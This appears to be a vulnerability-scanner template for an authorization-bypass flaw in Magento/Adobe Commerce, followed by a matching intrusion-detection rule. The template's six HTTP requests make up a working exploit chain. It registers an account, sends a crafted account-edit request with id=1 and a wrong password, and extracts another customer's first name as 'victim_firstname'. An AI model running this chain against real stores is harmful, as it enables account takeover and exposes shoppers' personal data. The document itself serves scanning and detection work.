CVE-2026-71362: Adobe Commerce and Magento Incorrect Authorization Vulnerability

id: CVE-2026-71362

info:
  name: "Magento - Authorization Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege
    escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive resources.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-71362&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=magento&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-71362
    cwe-id: CWE-863
  metadata:
    verified: false
  tags: cve,cve2026,magento,adobe-commerce,ato,account-takeover,intrusive,vkev,kev
variables:
  rnd: "{{rand_int(100000, 999999)}}"
  email: "poctest{{rnd}}@poctest.invalid"
  password: "PoCPwd#{{rnd}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

http:
  - raw:
      - |
        GET /customer/account/create HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "form_key")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fk
        group: 1
        regex:
          - 'name="form_key"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        POST /customer/account/createPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{sessid}}
        Referer: {{BaseURL}}/customer/account/create

        form_key={{fk}}&firstname=PoCTestCVE&lastname=Detector&email={{email}}&password={{password}}&password_confirmation={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/account/edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "PoCTestCVE")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fk
        group: 1
        regex:
          - 'name="form_key"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        POST /customer/account/editPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{sessid}}
        Referer: {{BaseURL}}/customer/account/edit

        form_key={{fk}}&id=1&change_email=1&current_password=wrong-password-forces-exception&email={{email}}&firstname=PoCTestCVE&lastname=Detector

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/account/edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/section/load?sections=customer&force_new_section_timestamp=true HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}
        X-Requested-With: XMLHttpRequest

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!contains(body, "PoCTestCVE")'
          - 'regex("\"firstname\":\"[A-Za-z0-9]", body)'
        condition: and

    extractors:
      - type: regex
        name: victim_firstname
        group: 1
        regex:
          - '"firstname":"([^"]+)"'

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-71362 Magento - Authorization Bypass"; flow:established,to_server; http.uri; content:"/customer/section/load"; nocase; content:"force_new_section_timestamp="; nocase; fast_pattern; content:"sections="; nocase; classtype:web-application-attack; reference:cve,CVE-2026-71362; reference:url,https://www.exploit.observer/?keyword=CVE-2026-71362&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=magento&match=exact; sid:1010260; rev:1;)